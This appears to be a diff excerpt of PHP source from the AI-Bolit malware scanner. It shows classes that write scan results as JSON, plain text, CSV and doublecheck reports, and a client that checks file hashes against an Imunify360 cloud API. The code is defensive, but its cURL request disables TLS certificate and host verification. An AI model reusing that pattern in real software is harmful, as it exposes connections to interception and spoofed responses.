- $tmp_content = @file_get_contents($dir . '/install/consts.php');
- if (preg_match('|STRING_VERSION\',\s*\'(.+?)\'|smi', $tmp_content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- }
- return $res;
- }
- }
- class CloudAssistedRequest
- {
- const API_URL = 'https://api.imunify360.com/api/hashes/check';
- private $timeout = 60;
- private $server_id = '';
- public function __construct($server_id, $timeout = 60)
- {
- $this->server_id = $server_id;
- $this->timeout = $timeout;
- }
- public function checkFilesByHash($list_of_hashes = array())
- {
- if (empty($list_of_hashes)) {
- return array(
- [],
- [],
- [],
- 'white' => [],
- 'black' => [],
- 'verdicts_black' => [],
- );
- }
- $result = $this->request($list_of_hashes);
- $white = isset($result['white']) ? $result['white'] : [];
- $black = isset($result['black']) ? $result['black'] : [];
- $verdicts_black = isset($result['verdicts_black']) ? $result['verdicts_black'] : [];
- return [
- $white,
- $black,
- $verdicts_black,
- 'white' => $white,
- 'black' => $black,
- 'verdicts_black' => $verdicts_black,
- ];
- }
-
- // /////////////////////////////////////////////////////////////////////////
- private function request($list_of_hashes)
- {
- $url = self::API_URL . '?server_id=' . urlencode($this->server_id) . '&indexed=1';
- $data = array(
- 'hashes' => $list_of_hashes,
- );
- $json_hashes = json_encode($data);
- $info = [];
- try {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL , $url);
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST , 'POST');
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER , false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST , false);
- curl_setopt($ch, CURLOPT_TIMEOUT , $this->timeout);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , $this->timeout);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER , true);
- curl_setopt($ch, CURLOPT_HTTPHEADER , array('Content-Type: application/json'));
- curl_setopt($ch, CURLOPT_POSTFIELDS , $json_hashes);
- $response_data = curl_exec($ch);
- $info = curl_getinfo($ch);
- $errno = curl_errno($ch);
- curl_close($ch);
- }
- catch (Exception $e) {
- throw new Exception($e->getMessage());
- }
- $http_code = isset($info['http_code']) ? $info['http_code'] : 0;
- if ($http_code !== 200) {
- if ($errno == 28) {
- throw new Exception('Reuqest timeout! Return code: ' . $http_code . ' Curl error num: ' . $errno);
- }
- throw new Exception('Invalid response from the Cloud Assisted server! Return code: ' . $http_code . ' Curl error num: ' . $errno);
- }
- $result = json_decode($response_data, true);
- if (is_null($result)) {
- throw new Exception('Invalid json format in the response!');
- }
- if (isset($result['error'])) {
- throw new Exception('API server returned error!');
- }
- if (!isset($result['result'])) {
- throw new Exception('API server returned error! Cannot find field "result".');
- }
- return $result['result'];
- }
- }
- /**
- * Class Report
- */
- abstract class Report
- {
- const MAX_ROWS = 15000;
- const AIBOLIT_MAX_NUMBER = 200;
- /**
- * Report constructor.
- * @param $mnemo
- * @param $path
- * @param $db_location
- * @param $db_meta_info_version
- * @param $report_mask
- * @param $extended_report
- * @param $rapid_account_scan
- * @param $ai_version
- * @param $ai_hoster
- * @param $ai_extra_warn
- * @param $ai_expert
- * @param $ai_smart
- * @param $root_path
- * @param $scan_all
- * @param $specific_ext
- * @param $doublecheck
- * @param $use_doublecheck
- * @param $start
- * @param $snum
- * @param $max_size
- * @param $add_prefix
- * @param $no_prefix
- * @param $small
- * @param $file
- * @param $echo
- */
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix, $small, $file, $echo)
- {
- }
- /**
- * Generate report
- * @param $vars
- * @param $scan_time
- * @return mixed
- */
- public function generateReport($vars, $scan_time)
- {
- }
- /**
- * Write report to file and return string to stdout after write attempt
- * @return string
- */
- public function write()
- {
- }
- protected static function convertToUTF8($text)
- {
- if (function_exists('mb_convert_encoding')) {
- $text = @mb_convert_encoding($text, 'utf-8', 'auto');
- $text = @mb_convert_encoding($text, 'UTF-8', 'UTF-8');
- }
- return $text;
- }
- }
- /**
- * Class JSONReport report all data to JSON
- */
- class JSONReport extends Report
- {
- const REPORT_MASK_DOORWAYS = 1<<2;
- const REPORT_MASK_SUSP = 1<<3;
- const REPORT_MASK_FULL = self::REPORT_MASK_DOORWAYS | self::REPORT_MASK_SUSP;
-
- protected $raw_report;
- private $extended_report;
- private $rapid_account_scan;
- private $ai_extra_warn;
- private $ai_hoster;
- private $report_mask;
- private $noPrefix;
- private $addPrefix;
- private $mnemo;
- private $small;
- protected $file;
- private $echo;
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix,
- $small = false, $file = false, $echo = false)
- {
- $this->mnemo = $mnemo;
- $this->ai_extra_warn = $ai_extra_warn;
- $this->extended_report = $extended_report;
- $this->rapid_account_scan = $rapid_account_scan;
- $this->ai_hoster = $ai_hoster;
- $this->report_mask = $report_mask;
- $this->addPrefix = $add_prefix;
- $this->noPrefix = $no_prefix;
- $this->small = $small;
- $this->echo = $echo;
- $this->raw_report = [];
- $this->raw_report['summary'] = array(
- 'scan_path' => $path,
- 'report_time' => time(),
- 'ai_version' => $ai_version,
- 'db_location' => $db_location,
- 'db_version' => $db_meta_info_version,
- );
- $this->file = $file;
- if($this->file) {
- @unlink($this->file);
- @unlink($this->file . '.tmp');
- }
- }
- public function generateReport($vars, $scan_time)
- {
- $tmp = clone $vars;
- if (!$this->small) {
- $tmp->criticalPHP = array_slice($tmp->criticalPHP, 0, self::MAX_ROWS);
- $tmp->criticalJS = array_slice($tmp->criticalJS, 0, self::MAX_ROWS);
- $tmp->notRead = array_slice($tmp->notRead, 0, self::AIBOLIT_MAX_NUMBER);
- $tmp->symLinks = array_slice($tmp->symLinks, 0, self::AIBOLIT_MAX_NUMBER);
- $tmp->warningPHP = array_slice($tmp->warningPHP, 0, self::AIBOLIT_MAX_NUMBER);
- $tmp->bigFiles = array_slice($tmp->bigFiles, 0, self::AIBOLIT_MAX_NUMBER);
- $tmp->doorway = array_slice($tmp->doorway, 0, self::AIBOLIT_MAX_NUMBER);
- $this->generateJSONTables($tmp);
- }
- $this->generateSummary($tmp, $scan_time);
- }
- private function generateSummary($vars, $scan_time)
- {
- $summary_counters = array();
- $summary_counters['redirect'] = count($vars->redirect);
- $summary_counters['critical_php'] = count($vars->criticalPHP);
- $summary_counters['critical_js'] = count($vars->criticalJS);
- $summary_counters['cloudhash'] = count($vars->blackFiles);
- $summary_counters['phishing'] = count($vars->phishing);
- $summary_counters['unix_exec'] = 0; // count($g_UnixExec);
- $summary_counters['iframes'] = 0; // count($g_Iframer);
- $summary_counters['not_read'] = count($vars->notRead);
- $summary_counters['base64'] = 0; // count($g_Base64);
- $summary_counters['heuristics'] = 0; // count($g_HeuristicDetected);
- $summary_counters['symlinks'] = count($vars->symLinks);
- $summary_counters['big_files_skipped'] = count($vars->bigFiles);
- $summary_counters['suspicious'] = count($vars->warningPHP);
- $this->raw_report['summary']['counters'] = $summary_counters;
- $this->raw_report['summary']['total_files'] = $vars->foundTotalFiles;
- $this->raw_report['summary']['scan_time'] = $scan_time;
- if ($this->extended_report && $this->rapid_account_scan) {
- $this->raw_report['summary']['counters']['rescan_count'] = $vars->rescanCount;
- }
- }
- private function generateJSONTables($vars)
- {
- $this->raw_report['vulners'] = $this->getRawJsonVuln($vars->vulnerable, $vars);
- if (count($vars->criticalPHP) > 0) {
- $this->raw_report['php_malware'] = $this->getRawJson($vars->criticalPHP, $vars, $vars->criticalPHPFragment, $vars->criticalPHPSig);
- }
- if (count($vars->blackFiles) > 0) {
- $this->raw_report['cloudhash'] = $this->getRawBlackData($vars->blackFiles);
- }
- if (count($vars->criticalJS) > 0) {
- $this->raw_report['js_malware'] = $this->getRawJson($vars->criticalJS, $vars, $vars->criticalJSFragment, $vars->criticalJSSig);
- }
- if (count($vars->notRead) > 0) {
- $this->raw_report['not_read'] = $vars->notRead;
- }
- if ($this->ai_hoster) {
- if (count($vars->phishing) > 0) {
- $this->raw_report['phishing'] = $this->getRawJson($vars->phishing, $vars, $vars->phishingFragment, $vars->phishingSigFragment);
- }
- if (count($vars->redirect) > 0) {
- $this->raw_report['redirect'] = $this->getRawJson($vars->redirect, $vars, $vars->redirectPHPFragment);
- }
- if (count($vars->symLinks) > 0) {
- $this->raw_report['sym_links'] = $vars->symLinks;
- }
- }
- else {
- if (count($vars->adwareList) > 0) {
- $this->raw_report['adware'] = $this->getRawJson($vars->adwareList, $vars, $vars->adwareListFragment);
- }
- if (count($vars->bigFiles) > 0) {
- $this->raw_report['big_files'] = $this->getRawJson($vars->bigFiles, $vars);
- }
- if ((count($vars->doorway) > 0) && JSONReport::checkMask($this->report_mask, JSONReport::REPORT_MASK_DOORWAYS)) {
- $this->raw_report['doorway'] = $this->getRawJson($vars->doorway, $vars);
- }
- if (count($vars->CMS) > 0) {
- $this->raw_report['cms'] = $vars->CMS;
- }
- }
- if ($this->ai_extra_warn) {
- if ((count($vars->warningPHP) > 0) && JSONReport::checkMask($this->report_mask, JSONReport::REPORT_MASK_FULL)) {
- $this->raw_report['suspicious'] = $this->getRawJson($vars->warningPHP, $vars, $vars->warningPHPFragment, $vars->warningPHPSig);
- }
- }
- }
-
- public static function checkMask($mask, $need)
- {
- return (($mask & $need) == $need);
- }
-
- public function write()
- {
- $ret = '';
- $res = @json_encode($this->raw_report);
- if ($this->file!== '.' && $l_FH = fopen($this->file . '.tmp', 'w')) {
- fputs($l_FH, $res);
- fclose($l_FH);
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- }
- if ($this->echo) {
- echo $res;
- }
- return $ret;
- }
- ////////////////////////////////////////////////////////////////////////////
-
- private function getRawJsonVuln($par_List, $vars)
- {
- $results = array();
- $l_Src = array(
- '"',
- '<',
- '>',
- '&',
- ''',
- '<' . '?php.'
- );
- $l_Dst = array(
- '"',
- '<',
- '>',
- '&',
- '\'',
- '<' . '?php '
- );
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- $l_Pos = $par_List[$i]['ndx'];
- $fn = $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]);
- if (ENCODE_FILENAMES_WITH_BASE64) {
- $res['fn'] = base64_encode($fn);
- } else {
- $res['fn'] = self::convertToUTF8($fn);
- }
- $res['sig'] = $par_List[$i]['id'];
- $res['ct'] = $vars->structure['c'][$l_Pos];
- $res['mt'] = $vars->structure['m'][$l_Pos];
- $res['et'] = $vars->structure['e'][$l_Pos];
- $res['sz'] = $vars->structure['s'][$l_Pos];
- $res['sigid'] = 'vuln_' . md5($vars->structure['n'][$l_Pos] . $par_List[$i]['id']);
- $results[] = $res;
- }
- return $results;
- }
- private function getRawJson($par_List, $vars, $par_Details = null, $par_SigId = null)
- {
- $results = array();
- $l_Src = array(
- '"',
- '<',
- '>',
- '&',
- ''',
- '<' . '?php.'
- );
- $l_Dst = array(
- '"',
- '<',
- '>',
- '&',
- '\'',
- '<' . '?php '
- );
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- if ($par_SigId != null) {
- $l_SigId = 'id_' . $par_SigId[$i];
- } else {
- $l_SigId = 'id_n' . rand(1000000, 9000000);
- }
- $l_Pos = $par_List[$i];
- $fn = $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]);
- if (ENCODE_FILENAMES_WITH_BASE64) {
- $res['fn'] = base64_encode($fn);
- } else {
- $res['fn'] = self::convertToUTF8($fn);
- }
- if ($par_Details != null) {
- $res['sig'] = preg_replace('|(L\d+).+__AI_MARKER__|smi', '[$1]: ...', $par_Details[$i]);
- $res['sig'] = preg_replace('/[^\x20-\x7F]/', '.', $res['sig']);
- $res['sig'] = preg_replace('/__AI_LINE1__(\d+)__AI_LINE2__/', '[$1] ', $res['sig']);
- $res['sig'] = preg_replace('/__AI_MARKER__/', ' @!!!>', $res['sig']);
- $res['sig'] = str_replace($l_Src, $l_Dst, $res['sig']);
- }
- $res['sig'] = self::convertToUTF8($res['sig']);
- $res['ct'] = $vars->structure['c'][$l_Pos];
- $res['mt'] = $vars->structure['m'][$l_Pos];
- $res['sz'] = $vars->structure['s'][$l_Pos];
- $res['et'] = $vars->structure['e'][$l_Pos];
- $res['hash'] = $vars->structure['crc'][$l_Pos];
- $res['sigid'] = $l_SigId;
- if (isset($vars->structure['sha256'][$l_Pos])) {
- $res['sha256'] = $vars->structure['sha256'][$l_Pos];
- } else {
- $res['sha256'] = '';
- }
- if (isset($par_SigId) && isset($this->mnemo[$par_SigId[$i]])) {
- $res['sn'] = $this->mnemo[$par_SigId[$i]];
- } else {
- $res['sn'] = '';
- }
- $results[] = $res;
- }
- return $results;
- }
- private function getRawBlackData($black_list)
- {
- $result = array();
- foreach ($black_list as $filename => $hash)
- {
- try {
- $stat = stat($filename);
- $sz = $stat['size'];
- $ct = $stat['ctime'];
- $mt = $stat['mtime'];
- }
- catch (Exception $e) {
- continue;
- }
- $result[] = array(
- 'fn' => $filename,
- 'sig' => '',
- 'ct' => $ct,
- 'mt' => $mt,
- 'et' => $hash['ts'],
- 'sz' => $sz,
- 'hash' => $hash['h'],
- 'sigid' => crc32($filename),
- 'sn' => isset($hash['sn']) ? $hash['sn'] : 'cld',
- );
- }
- return $result;
- }
- }
- /**
- * Class JSONReport report all data to JSON
- */
- class PHPReport extends JSONReport
- {
- public function write()
- {
- $ret = '';
- $res = @serialize($this->raw_report);
- if ($l_FH = fopen($this->file . '.tmp', 'w')) {
- fputs($l_FH, $res);
- fclose($l_FH);
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- }
- return $ret;
- }
- ////////////////////////////////////////////////////////////////////////////
- }
- /**
- * Class PlainReport report to text file
- */
- class PlainReport extends Report
- {
- private $extended_report;
- private $rapid_account_scan;
- private $ai_extra_warn;
- private $ai_hoster;
- private $noPrefix;
- private $addPrefix;
- private $mnemo;
- private $file;
- private $raw_report;
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix,
- $small = false, $file = false, $echo = false)
- {
- $this->mnemo = $mnemo;
- $this->ai_extra_warn = $ai_extra_warn;
- $this->extended_report = $extended_report;
- $this->rapid_account_scan = $rapid_account_scan;
- $this->ai_hoster = $ai_hoster;
- $this->addPrefix = $add_prefix;
- $this->noPrefix = $no_prefix;
- $this->file = $file;
- if($this->file) {
- @unlink($this->file);
- @unlink($this->file . '.tmp');
- }
- $this->raw_report = '';
- if (function_exists("gethostname") && is_callable("gethostname")) {
- $l_HostName = gethostname();
- } else {
- $l_HostName = '???';
- }
- $this->raw_report = "# Malware list detected by AI-Bolit (https://revisium.com/ai/) on " . date("d/m/Y H:i:s", time()) . " " . $l_HostName . "\n\n";
- }
- public function generateReport($vars, $scan_time = false)
- {
- if (!$this->ai_hoster) {
- foreach ($vars->vulnerable as $l_Item) {
- $this->raw_report .= '[VULNERABILITY] ' . $this->replacePathArray($vars->structure['n'][$l_Item['ndx']]) . ' - ' . $l_Item['id'] . "\n";
- }
- $this->raw_report .= "\n";
- }
- if (count($vars->criticalPHP) > 0) {
- $this->raw_report .= '[SERVER MALWARE]' . "\n" . $this->printPlainList(array_slice($vars->criticalPHP, 0, self::MAX_ROWS), $vars, $vars->criticalPHPFragment) . "\n";
- }
- if (count($vars->criticalJS) > 0) {
- $this->raw_report .= '[CLIENT MALWARE / JS]' . "\n" . $this->printPlainList(array_slice($vars->criticalJS, 0, self::MAX_ROWS), $vars, $vars->criticalJSFragment) . "\n";
- }
- if (count($vars->notRead) > 0) {
- $this->raw_report .= '[SCAN ERROR / SKIPPED]' . "\n" . $this->printPlainList(array_slice($vars->notRead, 0, self::AIBOLIT_MAX_NUMBER), $vars) . "\n\n";
- }
- if (count($vars->symLinks) > 0) {
- $this->raw_report .= '[SYMLINKS]' . "\n" . $this->printPlainList(array_slice($vars->symLinks, 0, self::AIBOLIT_MAX_NUMBER), $vars) . "\n\n";
- }
- if (!$this->ai_hoster) {
- if (count($vars->phishing) > 0) {
- $this->raw_report .= '[PHISHING]' . "\n" . $this->printPlainList($vars->phishing, $vars, $vars->phishingFragment) . "\n";
- }
- if (count($vars->redirect) > 0) {
- $this->raw_report .= printList($vars->redirect, $vars, $vars->redirectPHPFragment);
- }
- }
- if ($this->ai_extra_warn) {
- if (count($vars->warningPHP) > 0) {
- $this->raw_report .= '[SUSPICIOUS]' . "\n" . $this->printPlainList(array_slice($vars->warningPHP, 0, self::AIBOLIT_MAX_NUMBER), $vars, $vars->warningPHPFragment) . "\n";
- }
- }
- if (!$this->ai_hoster) {
- if (count($vars->adwareList) > 0) {
- $this->raw_report .= '[ADWARE]' . "\n" . $this->printPlainList($vars->adwareList, $vars, $vars->adwareListFragment) . "\n";
- }
- if (count($vars->bigFiles) > 0) {
- $this->raw_report .= '[BIG FILES / SKIPPED]' . "\n" . $this->printPlainList(array_slice($vars->bigFiles, 0, self::AIBOLIT_MAX_NUMBER), $vars) . "\n\n";
- }
- }
- $this->raw_report = preg_replace('|__AI_LINE1__|smi', '[', $this->raw_report);
- $this->raw_report = preg_replace('|__AI_LINE2__|smi', '] ', $this->raw_report);
- $this->raw_report = preg_replace('|__AI_MARKER__|smi', ' %> ', $this->raw_report);
- }
- public function write()
- {
- $ret = '';
- if ($l_FH = fopen($this->file . '.tmp', "w")) {
- fputs($l_FH, $this->raw_report);
- fclose($l_FH);
- }
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- return $ret;
- }
- ////////////////////////////////////////////////////////////////////////////
- private function printPlainList($par_List, $vars, $par_Details = null) {
- $l_Result = "";
- $l_Src = array(
- '"',
- '<',
- '>',
- '&',
- '''
- );
- $l_Dst = array(
- '"',
- '<',
- '>',
- '&',
- '\''
- );
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- $l_Pos = $par_List[$i];
- if ($par_Details != null) {
- $l_Body = preg_replace('|(L\d+).+__AI_MARKER__|smi', '$1: ...', $par_Details[$i]);
- $l_Body = preg_replace('/[^\x20-\x7F]/', '.', $l_Body);
- $l_Body = str_replace($l_Src, $l_Dst, $l_Body);
- } else {
- $l_Body = '';
- }
- if (is_file($vars->structure['n'][$l_Pos])) {
- $l_Result .= $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]) . "\t\t\t" . $l_Body . "\n";
- } else {
- $l_Result .= $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$par_List[$i]]) . "\n";
- }
- }
- return $l_Result;
- }
- private function replacePathArray($par_Arr) {
- array_walk($par_Arr, function(&$n) {
- $n = $this->addPrefix . str_replace($this->noPrefix, '', $n);
- });
- return $par_Arr;
- }
- }
- /**
- * Class CSVReport report table data to CSV
- */
- class CSVReport extends Report
- {
- const CRITICAL_PHP = 'p';
- const CRITICAL_JS = 'j';
- const SUSPICIOUS = 's';
- const PHISHING = 'h';
- const VULNERABLE = 'v';
- const CLOUDHASH = 'c';
- const BIG_FILES = 'b';
- const NOT_READ = 'n';
- const DOORWAY = 'd';
- const SYMLINKS = 'm';
- const ADWARE = 'a';
- const CMS = 'e';
- private $extended_report;
- private $rapid_account_scan;
- private $ai_extra_warn;
- private $ai_hoster;
- private $noPrefix;
- private $addPrefix;
- private $mnemo;
- private $file;
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix,
- $small = false, $file = false, $echo = false)
- {
- $this->mnemo = $mnemo;
- $this->ai_extra_warn = $ai_extra_warn;
- $this->extended_report = $extended_report;
- $this->rapid_account_scan = $rapid_account_scan;
- $this->ai_hoster = $ai_hoster;
- $this->addPrefix = $add_prefix;
- $this->noPrefix = $no_prefix;
- $this->file = $file;
- if($this->file) {
- @unlink($this->file);
- @unlink($this->file . '.tmp');
- }
- }
- public function generateReport($vars, $scan_time = false)
- {
- $this->writeRawCSVVuln($vars->vulnerable, $vars);
- if (count($vars->criticalPHP) > 0) {
- $this->writeRawCSV($vars->criticalPHP, $vars, self::CRITICAL_PHP, $vars->criticalPHPFragment, $vars->criticalPHPSig);
- }
- if (count($vars->blackFiles) > 0) {
- $this->writeRawBlackData($vars->blackFiles);
- }
- if (count($vars->criticalJS) > 0) {
- $this->writeRawCSV($vars->criticalJS, $vars, self::CRITICAL_JS, $vars->criticalJSFragment, $vars->criticalJSSig);
- }
- if (count($vars->notRead) > 0) {
- $this->writeListCSV(self::NOT_READ, $vars->notRead);
- }
- if ($this->ai_hoster) {
- if (count($vars->phishing) > 0) {
- $this->writeRawCSV($vars->phishing, $vars, self::PHISHING, $vars->phishingFragment, $vars->phishingSigFragment);
- }
- if (count($vars->symLinks) > 0) {
- $this->writeListCSV(self::SYMLINKS, $vars->symLinks);
- }
- }
- else {
- if (count($vars->adwareList) > 0) {
- $this->writeRawCSV($vars->adwareList, $vars, self::ADWARE, $vars->adwareListFragment);
- }
- if (count($vars->bigFiles) > 0) {
- $this->writeRawCSV($vars->bigFiles, $vars, self::BIG_FILES);
- }
- if (count($vars->doorway) > 0) {
- $this->writeRawCSV($vars->doorway, $vars, self::DOORWAY);
- }
- if (count($vars->CMS) > 0) {
- $this->writeListCSV(self::CMS, $vars->CMS);
- }
- }
- if ($this->ai_extra_warn) {
- if (count($vars->warningPHP) > 0) {
- $this->writeRawCSV($vars->warningPHP, $vars, self::SUSPICIOUS, $vars->warningPHPFragment, $vars->warningPHPSig);
- }
- }
- }
- public function write()
- {
- $ret = '';
- if ($this->file) {
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- }
- return $ret;
- }
- ////////////////////////////////////////////////////////////////////////////
- private function writeRawCSVVuln($par_List, $vars)
- {
- if (count($par_List) === 0) {
- return;
- }
- $fh = fopen($this->file . '.tmp', "a+");
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- $res = [];
- $l_Pos = $par_List[$i]['ndx'];
- $res[] = self::VULNERABLE;
- $fn = $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]);
- if (ENCODE_FILENAMES_WITH_BASE64) {
- $res[] = base64_encode($fn);
- } else {
- $res[] = self::convertToUTF8($fn);
- }
- $res[] = $par_List[$i]['id'];
- $res[] = $vars->structure['c'][$l_Pos];
- $res[] = $vars->structure['m'][$l_Pos];
- $res[] = $vars->structure['s'][$l_Pos];
- $res[] = $vars->structure['e'][$l_Pos];
- $res[] = 'vuln_' . md5($vars->structure['n'][$l_Pos] . $par_List[$i]['id']);
- $res[] = '';
- $res[] = '';
- $res[] = '';
- fputcsv($fh, $res);
- }
- fflush($fh);
- fclose($fh);
- }
- private function writeListCSV($section, $list)
- {
- if (count($list) === 0) {
- return;
- }
- $fh = fopen($this->file . '.tmp', "a+");
- for ($i = 0, $iMax = count($list); $i < $iMax; $i++) {
- $res = [];
- $res[] = $section;
- $res[] = $list[$i];
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- $res[] = '';
- fputcsv($fh, $res);
- }
- fflush($fh);
- fclose($fh);
- }
- private function writeRawCSV($par_List, $vars, $section = '', $par_Details = null, $par_SigId = null)
- {
- if (count($par_List) === 0) {
- return;
- }
- $fh = fopen($this->file . '.tmp', "a+");
- $l_Src = array(
- '"',
- '<',
- '>',
- '&',
- ''',
- '<' . '?php.',
- '\\'
- );
- $l_Dst = array(
- '"',
- '<',
- '>',
- '&',
- '\'',
- '<' . '?php ',
- ''
- );
- for ($i = 0, $iMax = count($par_List); $i < $iMax; $i++) {
- $res = [];
- $res[] = $section;
- if ($par_SigId != null) {
- $l_SigId = 'id_' . $par_SigId[$i];
- } else {
- $l_SigId = 'id_n' . rand(1000000, 9000000);
- }
- $l_Pos = $par_List[$i];
- $fn = $this->addPrefix . str_replace($this->noPrefix, '', $vars->structure['n'][$l_Pos]);
- if (ENCODE_FILENAMES_WITH_BASE64) {
- $res[] = base64_encode($fn);
- } else {
- $res[] = self::convertToUTF8($fn);
- }
- if ($par_Details != null) {
- $sig = preg_replace('|(L\d+).+__AI_MARKER__|smi', '[$1]: ...', $par_Details[$i]);
- $sig = preg_replace('/[^\x20-\x7F]/', '.', $sig);
- $sig = preg_replace('/__AI_LINE1__(\d+)__AI_LINE2__/', '[$1] ', $sig);
- $sig = preg_replace('/__AI_MARKER__/', ' @!!!>', $sig);
- $sig = str_replace($l_Src, $l_Dst, $sig);
- $sig = self::convertToUTF8($sig);
- }
- $res[] = $sig;
- $res[] = $vars->structure['c'][$l_Pos];
- $res[] = $vars->structure['m'][$l_Pos];
- $res[] = $vars->structure['s'][$l_Pos];
- $res[] = $vars->structure['e'][$l_Pos];
- $res[] = $l_SigId;
- $res[] = $vars->structure['crc'][$l_Pos];
- if (isset($par_SigId) && isset($this->mnemo[$par_SigId[$i]])) {
- $res[] = $this->mnemo[$par_SigId[$i]];
- } else {
- $res[] = '';
- }
- if (isset($vars->structure['sha256'][$l_Pos])) {
- $res[] = $vars->structure['sha256'][$l_Pos];
- } else {
- $res[] = '';
- }
- fputcsv($fh, $res);
- }
- fflush($fh);
- fclose($fh);
- }
- private function writeRawBlackData($black_list)
- {
- if (count($black_list) === 0) {
- return;
- }
- $fh = fopen($this->file . '.tmp', "a+");
- foreach ($black_list as $filename => $hash)
- {
- $res = [];
- try {
- $stat = stat($filename);
- $sz = $stat['size'];
- $ct = $stat['ctime'];
- $mt = $stat['mtime'];
- }
- catch (Exception $e) {
- continue;
- }
- $res[] = self::CLOUDHASH;
- $res[] = $filename;
- $res[] = '';
- $res[] = $ct;
- $res[] = $mt;
- $res[] = $sz;
- $res[] = $hash['ts'];
- $res[] = crc32($filename);
- $res[] = $hash['h'];
- $res[] = isset($hash['sn']) ? $hash['sn'] : 'cld';
- $res[] = '';
- fputcsv($fh, $res);
- }
- fflush($fh);
- fclose($fh);
- }
- }
- /**
- * Class DoublecheckReport generate doublecheck file
- */
- class DoublecheckReport extends Report
- {
- private $raw_report;
- private $skip = false;
- private $file = false;
- private $res = '';
- public function __construct($mnemo, $path, $db_location, $db_meta_info_version, $report_mask, $extended_report,
- $rapid_account_scan, $ai_version, $ai_hoster, $ai_extra_warn, $ai_expert, $ai_smart, $root_path, $scan_all,
- $specific_ext, $doublecheck, $use_doublecheck, $start, $snum, $max_size, $add_prefix, $no_prefix,
- $small = false, $file = false, $echo = false)
- {
- $this->raw_report = [];
- $this->file = $file;
- if(file_exists($this->file)) {
- $this->skip = true;
- $this->res .= $this->file . ' already exists.' . PHP_EOL;
- } else if ($l_FH = fopen($this->file . '.tmp', 'w')) {
- fputs($l_FH, '<?php die("Forbidden"); ?>' . "\n");
- fclose($l_FH);
- } else {
- $this->skip = true;
- $this->res .= 'Error! Cannot create ' . $this->file . PHP_EOL;
- }
- }
- public function generateReport($vars, $scan_time)
- {
- if ($this->skip) {
- return;
- }
- $l_CurrPath = dirname(__FILE__);
- if (!isset($vars->criticalPHP)) {
- $vars->criticalPHP = array();
- }
- if (!isset($vars->criticalJS)) {
- $vars->criticalJS = array();
- }
- if (!isset($vars->phishing)) {
- $vars->phishing = array();
- }
- if (!isset($vars->adwareList)) {
- $vars->adwareList = array();
- }
- if (!isset($vars->redirect)) {
- $vars->redirect = array();
- }
- $this->raw_report = array_merge($vars->criticalPHP, $vars->criticalJS, $vars->phishing, $vars->adwareList, $vars->redirect);
- $this->raw_report = array_values(array_unique($this->raw_report));
- for ($i = 0, $iMax = count($this->raw_report); $i < $iMax; $i++) {
- $this->raw_report[$i] = str_replace($l_CurrPath, '.', $vars->structure['n'][$this->raw_report[$i]]);
- }
- $this->raw_report = array_values(array_unique($this->raw_report));
- if (count($this->raw_report) === 0) {
- $this->skip = true;
- unlink($this->file . '.tmp');
- }
- }
-
- public function write()
- {
- $ret = '';
- if ($this->skip) {
- return $this->res;
- }
- $fh = fopen($this->file . '.tmp', "a+");
- for ($i = 0, $iMax = count($this->raw_report); $i < $iMax; $i++) {
- fputs($fh, $this->raw_report[$i] . "\n");
- }
- fclose($fh);
- if (rename($this->file . '.tmp', $this->file)) {
- $ret = "Report written to '$this->file'.";
- } else {
- $ret = "Cannot create '$this->file'.";
- }
- return $ret;
- }
- }
- /**
- * Class HTMLReport report all data to HTML
- */
- class HTMLReport extends Report
- {
- const REPORT_MASK_DOORWAYS = 1<<2;
- const REPORT_MASK_SUSP = 1<<3;
- const REPORT_MASK_FULL = self::REPORT_MASK_DOORWAYS | self::REPORT_MASK_SUSP;
-
- private $raw_report;
- private $extended_report;
- private $rapid_account_scan;
- private $ai_extra_warn;
- private $ai_hoster;
- private $report_mask;
- private $noPrefix;
- private $addPrefix;
- private $mnemo;
- private $small;
- private $file;
- private $echo;
- private $template;
